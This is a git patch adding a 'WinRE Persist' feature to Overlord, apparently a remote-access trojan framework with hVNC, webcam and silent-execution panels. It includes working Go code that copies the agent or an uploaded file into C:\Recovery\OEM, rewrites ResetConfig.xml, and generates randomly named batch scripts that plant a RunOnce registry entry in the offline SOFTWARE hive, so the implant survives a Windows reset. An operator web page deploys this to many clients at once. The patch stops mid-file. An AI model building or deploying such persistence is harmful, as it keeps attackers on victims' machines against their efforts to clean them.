From 677053546efae6ac7f983521e3ff3dd7b3d6af5b Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 29 Mar 2026 00:46:18 -0500 Subject: [PATCH] WinRE --- Overlord-Client/cmd/agent/handlers/command.go | 16 + .../cmd/agent/handlers/winre_stub.go | 19 + .../cmd/agent/handlers/winre_windows.go | 303 ++++++++++++ Overlord-Server/public/assets/main.js | 5 + Overlord-Server/public/assets/ui.js | 1 + Overlord-Server/public/assets/winre.js | 463 ++++++++++++++++++ Overlord-Server/public/winre.html | 207 ++++++++ Overlord-Server/src/auditLog.ts | 2 + Overlord-Server/src/main-server.ts | 16 + Overlord-Server/src/protocol.ts | 4 +- Overlord-Server/src/server/http-dispatch.ts | 8 + .../src/server/routes/page-routes.ts | 1 + .../src/server/routes/winre-routes.ts | 294 +++++++++++ 13 files changed, 1338 insertions(+), 1 deletion(-) create mode 100644 Overlord-Client/cmd/agent/handlers/winre_stub.go create mode 100644 Overlord-Client/cmd/agent/handlers/winre_windows.go create mode 100644 Overlord-Server/public/assets/winre.js create mode 100644 Overlord-Server/public/winre.html create mode 100644 Overlord-Server/src/server/routes/winre-routes.ts diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index b8db83b..ea7c170 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1853,6 +1853,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "winre_install": + payload := payloadAsMap(envelope["payload"]) + useSelf := false + if v, ok := payload["useSelf"].(bool); ok { + useSelf = v + } + filePath, _ := payload["filePath"].(string) + if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "winre_uninstall": + if err := handleWinREUninstall(ctx, env, cmdID); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "uninstall": res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) diff --git a/Overlord-Client/cmd/agent/handlers/winre_stub.go b/Overlord-Client/cmd/agent/handlers/winre_stub.go new file mode 100644 index 0000000..9bc69f2 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/winre_stub.go @@ -0,0 +1,19 @@ +//go:build !windows +// +build !windows + +package handlers + +import ( + "context" + "fmt" + + "overlord-client/cmd/agent/runtime" +) + +func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error { + return fmt.Errorf("WinRE persistence is only supported on Windows") +} + +func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error { + return fmt.Errorf("WinRE persistence is only supported on Windows") +} diff --git a/Overlord-Client/cmd/agent/handlers/winre_windows.go b/Overlord-Client/cmd/agent/handlers/winre_windows.go new file mode 100644 index 0000000..0b36403 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/winre_windows.go @@ -0,0 +1,303 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "context" + "encoding/xml" + "fmt" + "log" + "math/rand" + "os" + "path/filepath" + "strings" + "time" + + "overlord-client/cmd/agent/runtime" +) + +const ( + winreOEMRelPath = `Recovery\OEM` + winreBackupDirName = "XRSBackupData" + winreResetConfigXML = "ResetConfig.xml" + winreDeleteManifest = "DELETEME" +) + +func init() { + rand.Seed(time.Now().UnixNano()) +} + +func randomAlphanumeric(n int) string { + const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, n) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b) +} + +type resetConfig struct { + XMLName xml.Name `xml:"Reset"` + Runs []runEntry `xml:"Run"` +} + +type runEntry struct { + XMLName xml.Name `xml:"Run"` + Phase string `xml:"Phase,attr"` + Path string `xml:"Path"` + Duration int `xml:"Duration"` + Param string `xml:"Param,omitempty"` +} + +func systemDrive() string { + sd := os.Getenv("SystemDrive") + if sd == "" { + sd = "C:" + } + return sd +} + +func oemPath() string { + return filepath.Join(systemDrive()+`\`, winreOEMRelPath) +} + +func backupPath() string { + return filepath.Join(oemPath(), winreBackupDirName) +} + +func resetConfigPath() string { + return filepath.Join(oemPath(), winreResetConfigXML) +} + +func createOEMEnvironment() error { + oem := oemPath() + if err := os.MkdirAll(oem, 0o755); err != nil { + return fmt.Errorf("failed to create OEM directory: %w", err) + } + bk := backupPath() + if err := os.MkdirAll(bk, 0o755); err != nil { + return fmt.Errorf("failed to create backup directory: %w", err) + } + return nil +} + +func createPayload(command string) string { + rndKey := randomAlphanumeric(20) + return fmt.Sprintf(`@echo off +for /F "tokens=1,2,3 delims= " %%%%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS') DO SET TARGETOS=%%%%C + +for /F "tokens=1 delims=\" %%%%A in ('Echo %%TARGETOS%%') DO SET TARGETOSDRIVE=%%%%A + +reg load HKLM\%s %%TARGETOSDRIVE%%\windows\system32\config\SOFTWARE + +reg add HKLM\%s\Microsoft\Windows\CurrentVersion\RunOnce /v %s /t REG_SZ /d "%s" + +reg unload HKLM\%s +`, rndKey, rndKey, rndKey, command, rndKey) +} + +func backupCurrentConfig(basicResetFileName, factoryResetFileName string, additionalFiles []string) error { + bk := backupPath() + lines := []string{basicResetFileName, factoryResetFileName} + lines = append(lines, additionalFiles...) + content := strings.Join(lines, "\n") + if err := os.WriteFile(filepath.Join(bk, winreDeleteManifest), []byte(content), 0o644); err != nil { + return err + } + + rcPath := resetConfigPath() + if _, err := os.Stat(rcPath); err == nil { + data, err := os.ReadFile(rcPath) + if err != nil { + return err + } + if err := os.WriteFile(filepath.Join(bk, "configBackup"), data, 0o644); err != nil { + return err + } + } + return nil +} + +func saveScriptFile(fileName, payload, additionalCommand string) error { + contents := payload + if additionalCommand != "" { + contents += additionalCommand + } + return os.WriteFile(filepath.Join(oemPath(), fileName), []byte(contents), 0o644) +} + +func createNewResetConfig(basicFileName, factoryFileName, payload string) error { + cfg := resetConfig{ + Runs: []runEntry{ + {Phase: "BasicReset_AfterImageApply", Path: basicFileName, Duration: 1}, + {Phase: "FactoryReset_AfterImageApply", Path: factoryFileName, Duration: 1}, + }, + } + data, err := xml.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + xmlContent := xml.Header + string(data) + if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil { + return err + } + if err := saveScriptFile(basicFileName, payload, ""); err != nil { + return err + } + return saveScriptFile(factoryFileName, payload, "") +} + +func updateExistingResetConfig(basicFileName, factoryFileName, payload string) error { + data, err := os.ReadFile(resetConfigPath()) + if err != nil { + return err + } + + var cfg resetConfig + if err := xml.Unmarshal(data, &cfg); err != nil { + return err + } + + maxDuration := 1 + for _, r := range cfg.Runs { + if r.Duration > maxDuration { + maxDuration = r.Duration + } + } + + additionalBasic := updatePhase(&cfg, "BasicReset_AfterImageApply", basicFileName) + additionalFactory := updatePhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName) + + if additionalBasic == "" { + addNewPhase(&cfg, "BasicReset_AfterImageApply", basicFileName, maxDuration) + } + if additionalFactory == "" { + addNewPhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName, maxDuration) + } + + out, err := xml.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + xmlContent := xml.Header + string(out) + if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil { + return err + } + + if err := saveScriptFile(basicFileName, payload, additionalBasic); err != nil { + return err + } + return saveScriptFile(factoryFileName, payload, additionalFactory) +} + +func updatePhase(cfg *resetConfig, phaseName, newFileName string) string { + for i, r := range cfg.Runs { + if r.Phase == phaseName { + oldPath := `%TARGETOSDRIVE%\Recovery\OEM\` + r.Path + oldParam := r.Param + cfg.Runs[i].Path = newFileName + cfg.Runs[i].Param = "" + additional := `"` + oldPath + `"` + if oldParam != "" { + additional += " " + oldParam + } + return additional + } + } + return "" +} + +func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) { + cfg.Runs = append(cfg.Runs, runEntry{ + Phase: phaseName, + Path: fileName, + Duration: duration, + }) +} + +func installWinREPersistence(fileBytes []byte, ext string) error { + if err := createOEMEnvironment(); err != nil { + return err + } + + stubName := randomAlphanumeric(20) + ext + stubPath := filepath.Join(oemPath(), stubName) + if err := os.WriteFile(stubPath, fileBytes, 0o644); err != nil { + return fmt.Errorf("failed to write stub file: %w", err) + } + + command := `cmd.exe /c start %TARGETOSDRIVE%\Recovery\OEM\` + stubName + payload := createPayload(command) + + basicFileName := randomAlphanumeric(20) + ".bat" + factoryFileName := randomAlphanumeric(20) + ".bat" + + if err := backupCurrentConfig(basicFileName, factoryFileName, []string{stubName}); err != nil { + log.Printf("winre: backup config warning: %v", err) + } + + rcPath := resetConfigPath() + if _, err := os.Stat(rcPath); os.IsNotExist(err) { + return createNewResetConfig(basicFileName, factoryFileName, payload) + } + return updateExistingResetConfig(basicFileName, factoryFileName, payload) +} + +func uninstallWinREPersistence() error { + bk := backupPath() + if _, err := os.Stat(bk); os.IsNotExist(err) { + return fmt.Errorf("WinRE persistence not installed") + } + + oem := oemPath() + if err := os.RemoveAll(oem); err != nil { + return fmt.Errorf("failed to remove OEM directory: %w", err) + } + return nil +} + +func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error { + var fileBytes []byte + var ext string + + if useSelf { + exePath, err := os.Executable() + if err != nil { + return fmt.Errorf("failed to get executable path: %w", err) + } + fileBytes, err = os.ReadFile(exePath) + if err != nil { + return fmt.Errorf("failed to read self executable: %w", err) + } + ext = filepath.Ext(exePath) + if ext == "" { + ext = ".exe" + } + } else { + if filePath == "" { + return fmt.Errorf("missing filePath") + } + for i := 0; i < 30; i++ { + if _, err := os.Stat(filePath); err == nil { + break + } + time.Sleep(500 * time.Millisecond) + } + var err error + fileBytes, err = os.ReadFile(filePath) + if err != nil { + return fmt.Errorf("failed to read file: %w", err) + } + ext = filepath.Ext(filePath) + if ext == "" { + ext = ".exe" + } + } + + return installWinREPersistence(fileBytes, ext) +} + +func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error { + return uninstallWinREPersistence() +} diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 647d95b..952dc42 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -810,6 +810,11 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } + if (open === "winre") { + window.open(`/winre?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } const action = target.dataset.action; if (open === "voice") { diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index c77d53b..99dca78 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -31,6 +31,7 @@ const MENU_GROUPS = [ items: [ { label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" }, { label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true }, + { label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" }, ], }, { diff --git a/Overlord-Server/public/assets/winre.js b/Overlord-Server/public/assets/winre.js new file mode 100644 index 0000000..e2d1fee --- /dev/null +++ b/Overlord-Server/public/assets/winre.js @@ -0,0 +1,463 @@ +const clientList = document.getElementById("client-list"); +const clientSearch = document.getElementById("client-search"); +const selectAllBtn = document.getElementById("select-all-btn"); +const clearSelectionBtn = document.getElementById("clear-selection-btn"); +const selectedCountSpan = document.getElementById("selected-count"); +const uploadZone = document.getElementById("upload-zone"); +const uploadInput = document.getElementById("upload-input"); +const uploadStatus = document.getElementById("upload-status"); +const installSelfBtn = document.getElementById("install-self-btn"); +const installFileBtn = document.getElementById("install-file-btn"); +const uninstallBtn = document.getElementById("uninstall-btn"); +const outputContainer = document.getElementById("output-container"); +const clearOutputBtn = document.getElementById("clear-output-btn"); + +const tabSelf = document.getElementById("tab-self"); +const tabUpload = document.getElementById("tab-upload"); +const panelSelf = document.getElementById("panel-self"); +const panelUpload = document.getElementById("panel-upload"); + +let activeTab = "self"; +let allClients = []; +let filteredClients = []; +const selectedClients = new Set(); +let uploaded = null; + +function switchTab(tab) { + activeTab = tab; + if (tab === "self") { + tabSelf.classList.add("bg-slate-700", "text-slate-100"); + tabSelf.classList.remove("text-slate-400"); + tabUpload.classList.remove("bg-slate-700", "text-slate-100"); + tabUpload.classList.add("text-slate-400"); + panelSelf.classList.remove("hidden"); + panelUpload.classList.add("hidden"); + } else { + tabUpload.classList.add("bg-slate-700", "text-slate-100"); + tabUpload.classList.remove("text-slate-400"); + tabSelf.classList.remove("bg-slate-700", "text-slate-100"); + tabSelf.classList.add("text-slate-400"); + panelUpload.classList.remove("hidden"); + panelSelf.classList.add("hidden"); + } + updateButtonStates(); +} + +tabSelf.addEventListener("click", () => switchTab("self")); +tabUpload.addEventListener("click", () => switchTab("upload")); + +async function checkAuth() { + try { + const res = await fetch("/api/auth/me"); + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + document.getElementById("username-display").textContent = data.username; + + const roleBadge = document.getElementById("role-badge"); + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add("bg-purple-900/50", "text-purple-300", "border", "border-purple-800"); + } else if (data.role === "operator") { + roleBadge.classList.add("bg-blue-900/50", "text-blue-300", "border", "border-blue-800"); + } else { + roleBadge.classList.add("bg-slate-700", "text-slate-300", "border", "border-slate-600"); + } + + if (data.role !== "admin") { + alert("Access denied. Admin role required."); + window.location.href = "/"; + } + } catch (err) { + console.error("Auth check failed:", err); + window.location.href = "/login.html"; + } +} + +async function loadClients() { + try { + const res = await fetch("/api/clients?pageSize=10000"); + if (!res.ok) throw new Error("Failed to load clients"); + + const data = await res.json(); + allClients = data.items.filter( + (c) => c.online && (c.os || "").toLowerCase().includes("windows"), + ); + + if (allClients.length === 0) { + clientList.innerHTML = + '
No online Windows clients available
'; + return; + } + + filterAndRenderClients(); + preselectClientFromQuery(); + } catch (error) { + console.error("Failed to load clients:", error); + clientList.innerHTML = + '
Error loading clients
'; + } +} + +function preselectClientFromQuery() { + const params = new URLSearchParams(window.location.search); + const targetId = params.get("clientId"); + if (!targetId) return; + if (allClients.some((c) => c.id === targetId)) { + selectedClients.add(targetId); + renderClients(); + } +} + +function filterAndRenderClients() { + const searchTerm = clientSearch.value.toLowerCase(); + filteredClients = allClients.filter((c) => { + return ( + !searchTerm || + (c.host && c.host.toLowerCase().includes(searchTerm)) || + c.id.toLowerCase().includes(searchTerm) || + (c.user && c.user.toLowerCase().includes(searchTerm)) + ); + }); + renderClients(); +} + +function renderClients() { + if (filteredClients.length === 0) { + clientList.innerHTML = + '
No clients match your filters
'; + return; + } + + clientList.innerHTML = filteredClients + .map((c) => { + const name = c.host || c.id.substring(0, 8); + const os = c.os || "unknown"; + const isSelected = selectedClients.has(c.id); + + return ` + + `; + }) + .join(""); + + clientList.querySelectorAll(".client-checkbox").forEach((cb) => { + cb.addEventListener("change", handleClientToggle); + }); + + updateButtonStates(); +} + +function handleClientToggle(e) { + const clientId = e.target.dataset.id; + if (e.target.checked) { + selectedClients.add(clientId); + } else { + selectedClients.delete(clientId); + } + updateButtonStates(); +} + +function updateButtonStates() { + selectedCountSpan.textContent = `${selectedClients.size} selected`; + const hasSelection = selectedClients.size > 0; + + installSelfBtn.disabled = !hasSelection || activeTab !== "self"; + installFileBtn.disabled = !hasSelection || activeTab !== "upload" || !uploaded; + uninstallBtn.disabled = !hasSelection; +} + +function setUploadStatus(text, tone = "text-slate-400") { + uploadStatus.className = `mt-3 text-sm ${tone}`; + uploadStatus.textContent = text; +} + +function formatBytes(bytes) { + const value = Number(bytes) || 0; + if (value < 1024) return `${value} B`; + if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`; + if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`; + return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +clientSearch.addEventListener("input", filterAndRenderClients); + +selectAllBtn.addEventListener("click", () => { + filteredClients.forEach((c) => selectedClients.add(c.id)); + renderClients(); +}); + +clearSelectionBtn.addEventListener("click", () => { + selectedClients.clear(); + renderClients(); +}); + +uploadZone.addEventListener("click", () => uploadInput.click()); +uploadZone.addEventListener("dragover", (event) => { + event.preventDefault(); + uploadZone.classList.add("border-cyan-500"); +}); +uploadZone.addEventListener("dragleave", () => { + uploadZone.classList.remove("border-cyan-500"); +}); +uploadZone.addEventListener("drop", async (event) => { + event.preventDefault(); + uploadZone.classList.remove("border-cyan-500"); + const file = event.dataTransfer?.files?.[0]; + if (file) await uploadFile(file); +}); +uploadInput.addEventListener("change", async (event) => { + const file = event.target.files?.[0]; + if (file) await uploadFile(file); +}); + +async function uploadFile(file) { + setUploadStatus(`Uploading ${file.name}...`, "text-blue-400"); + installFileBtn.disabled = true; + + try { + const form = new FormData(); + form.append("file", file, file.name); + const res = await fetch("/api/winre/upload", { + method: "POST", + body: form, + }); + + if (!res.ok) { + const text = await res.text(); + setUploadStatus(text || "Upload failed", "text-red-400"); + return; + } + + const data = await res.json(); + if (!data.ok) { + setUploadStatus(data.error || "Upload failed", "text-red-400"); + return; + } + + uploaded = data; + const sizeBytes = Number(data.size ?? file.size ?? 0); + setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400"); + updateButtonStates(); + } catch (error) { + console.error("Upload failed:", error); + setUploadStatus("Upload failed", "text-red-400"); + } +} + +function renderResults(results, actionLabel) { + const namedResults = results.map((r) => { + const client = allClients.find((c) => c.id === r.clientId); + const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8); + if (r.error) { + return { clientName, clientId: r.clientId, error: r.error }; + } + if (r.ok === false) { + return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` }; + } + return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` }; + }); + + outputContainer.innerHTML = namedResults + .map((r) => { + if (r.error) { + return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`; + } + return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`; + }) + .join(""); +} + +installSelfBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + installSelfBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Installing WinRE persistence (self) on ${clientIds.length} client(s)...
`; + + let results = []; + try { + const res = await fetch("/api/winre/install-self", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ clientIds }), + }); + + if (!res.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: `HTTP error! status: ${res.status}`, + })); + } else { + const data = await res.json(); + if (!data.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: data.error || "Unknown error", + })); + } else { + results = data.results || []; + } + } + } catch (error) { + results = clientIds.map((clientId) => ({ + clientId, + error: error.message, + })); + } + + renderResults(results, "WinRE Install (self)"); + installSelfBtn.disabled = false; +}); + +installFileBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + if (!uploaded?.uploadId) { + alert("Please upload a file first"); + return; + } + + installFileBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Installing WinRE persistence (file) on ${clientIds.length} client(s)...
`; + + let results = []; + try { + const res = await fetch("/api/winre/install", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + uploadId: uploaded.uploadId, + clientIds, + }), + }); + + if (!res.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: `HTTP error! status: ${res.status}`, + })); + } else { + const data = await res.json(); + if (!data.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: data.error || "Unknown error", + })); + } else { + results = data.results || []; + } + } + } catch (error) { + results = clientIds.map((clientId) => ({ + clientId, + error: error.message, + })); + } + + renderResults(results, "WinRE Install (file)"); + installFileBtn.disabled = false; +}); + +// Uninstall WinRE persistence +uninstallBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + if (!confirm("Uninstall WinRE persistence from selected clients?\n\nThis removes the entire Recovery\\OEM directory.")) { + return; + } + + uninstallBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Uninstalling WinRE persistence from ${clientIds.length} client(s)...
`; + + let results = []; + try { + const res = await fetch("/api/winre/uninstall", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ clientIds }), + }); + + if (!res.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: `HTTP error! status: ${res.status}`, + })); + } else { + const data = await res.json(); + if (!data.ok) { + results = clientIds.map((clientId) => ({ + clientId, + error: data.error || "Unknown error", + })); + } else { + results = data.results || []; + } + } + } catch (error) { + results = clientIds.map((clientId) => ({ + clientId, + error: error.message, + })); + } + + renderResults(results, "WinRE Uninstall"); + uninstallBtn.disabled = false; +}); + +clearOutputBtn.addEventListener("click", () => { + outputContainer.innerHTML = + '
No commands dispatched yet.
'; +}); + +checkAuth(); +loadClients(); diff --git a/Overlord-Server/public/winre.html b/Overlord-Server/public/winre.html new file mode 100644 index 0000000..4e6bb76 --- /dev/null +++ b/Overlord-Server/public/winre.html @@ -0,0 +1,207 @@ + + + + + + WinRE Persistence - Overlord + + + + + + + + +
+ +
+
+ +
+
+
+
+

Select Target Clients

+

+ Windows clients only — requires admin privileges on the target +

+
+
+ 0 selected + +
+
+ + +
+
+ + +
+ +
+ + +
+
Loading clients...
+
+
+
+ + +
+
+
+
+

+ WinRE Persistence +

+

+ Survive Windows push resets — the file will start after the user signs in post-reset +

+
+
+ + + +
+
+ +
+ +
+ + +
+ + +
+
+
+
+ +
+
+
Use the currently running agent
+
+ The agent will copy its own executable into the WinRE recovery partition. + After a push reset, it will auto-start when the user signs in. +
+
+
+
+
+ + + + + +
+
+ +
+
Requirements & Notes
+
    +
  • Requires Administrator privileges on the target machine
  • +
  • Windows only — uses the Recovery\OEM ResetConfig mechanism
  • +
  • The file is placed in C:\Recovery\OEM\ and a RunOnce registry entry is created during reset
  • +
  • After a push reset (Settings → Recovery → Reset this PC), the file will auto-run on first sign-in
  • +
  • Uninstall removes the entire OEM recovery directory
  • +
+
+
+
+
+
+
+ + +
+
+
+

Results

+ +
+
+
+ No commands dispatched yet. +
+
+
+
+
+
+ + + + + diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts index d7c5dec..0e45cd2 100644 --- a/Overlord-Server/src/auditLog.ts +++ b/Overlord-Server/src/auditLog.ts @@ -76,6 +76,8 @@ export enum AuditAction { ENROLLMENT_DENY = "enrollment_deny", ENROLLMENT_SETTINGS = "enrollment_settings", ENROLLMENT_BULK = "enrollment_bulk", + WINRE_INSTALL = "winre_install", + WINRE_UNINSTALL = "winre_uninstall", } export interface AuditLogEntry { diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index ca452e9..5ca114e 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes"; import { handleBuildRoutes } from "./server/routes/build-routes"; import { handleAssetsRoutes } from "./server/routes/assets-routes"; import { handleDeployRoutes } from "./server/routes/deploy-routes"; +import { handleWinRERoutes } from "./server/routes/winre-routes"; import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes"; import { handleClientRoutes } from "./server/routes/client-routes"; import { handleMiscRoutes } from "./server/routes/misc-routes"; @@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim() const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json"); const DATA_DIR = ensureDataDir(); const DEPLOY_ROOT = path.join(DATA_DIR, "deploy"); +const WINRE_ROOT = path.join(DATA_DIR, "winre"); const TLS_CERT_PATH = config.tls.certPath; const TLS_KEY_PATH = config.tls.keyPath; @@ -213,6 +215,15 @@ type DeployUpload = { const deployUploads = new Map(); +type WinREUpload = { + id: string; + path: string; + name: string; + size: number; +}; + +const winreUploads = new Map(); + type NotificationRateState = { lastSent: number; windowStart: number; @@ -326,6 +337,10 @@ async function startServer() { detectUploadOs, normalizeClientOs, }, + winre: { + WINRE_ROOT, + winreUploads, + }, fileDownload: { DATA_DIR, secureHeaders, @@ -508,6 +523,7 @@ async function startServer() { handleUsersRoutes, handleBuildRoutes, handleDeployRoutes, + handleWinRERoutes, handleFileDownloadRoutes, handlePluginRoutes, handleMiscRoutes, diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 58935b1..af43e03 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -100,7 +100,9 @@ export type CommandType = | "agent_update" | "clipboard_set" | "clipboard_sync_start" - | "clipboard_sync_stop"; + | "clipboard_sync_stop" + | "winre_install" + | "winre_uninstall"; export type Command = { type: "command"; diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts index 03571a7..2b526bf 100644 --- a/Overlord-Server/src/server/http-dispatch.ts +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -23,6 +23,7 @@ type HttpDispatchDeps< TNotificationsConfig, TBuild, TDeploy, + TWinRE, TFileDownload, TPlugin, TMisc, @@ -40,6 +41,7 @@ type HttpDispatchDeps< handleUsersRoutes: RouteHandlerWithServer; handleBuildRoutes: RouteHandlerWithServerDeps; handleDeployRoutes: RouteHandlerWithServerDeps; + handleWinRERoutes: RouteHandlerWithServerDeps; handleFileDownloadRoutes: RouteHandlerWithServerDeps; handlePluginRoutes: RouteHandlerWithDeps; handleMiscRoutes: RouteHandlerWithDeps; @@ -51,6 +53,7 @@ type HttpDispatchDeps< notificationsConfig: TNotificationsConfig; build: TBuild; deploy: TDeploy; + winre: TWinRE; fileDownload: TFileDownload; plugin: TPlugin; misc: TMisc; @@ -66,6 +69,7 @@ export function createHttpFetchHandler< TNotificationsConfig, TBuild, TDeploy, + TWinRE, TFileDownload, TPlugin, TMisc, @@ -79,6 +83,7 @@ export function createHttpFetchHandler< TNotificationsConfig, TBuild, TDeploy, + TWinRE, TFileDownload, TPlugin, TMisc, @@ -118,6 +123,9 @@ export function createHttpFetchHandler< const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy); if (deployResponse) return deployResponse; + const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre); + if (winreResponse) return winreResponse; + const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload); if (fileDownloadResponse) return fileDownloadResponse; diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index 8841a69..7d2e2d4 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [ { path: "/webcam", file: "webcam.html" }, { path: "/hvnc", file: "hvnc.html" }, { path: "/voice", file: "voice.html" }, + { path: "/winre", file: "winre.html" }, ]; /** Client-scoped pages accessed via path /:clientId/feature */ diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts new file mode 100644 index 0000000..06ab509 --- /dev/null +++ b/Overlord-Server/src/server/routes/winre-routes.ts @@ -0,0 +1,294 @@ +import fs from "fs/promises"; +import path from "path"; +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { metrics } from "../../metrics"; +import { encodeMessage } from "../../protocol"; +import { createUploadPull } from "./file-download-routes"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type WinREUpload = { + id: string; + path: string; + name: string; + size: number; +}; + +type WinRERouteDeps = { + WINRE_ROOT: string; + winreUploads: Map; +}; + +export async function handleWinRERoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: WinRERouteDeps, +): Promise { + if (!url.pathname.startsWith("/api/winre")) { + return null; + } + + if (req.method === "POST" && url.pathname === "/api/winre/upload") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new 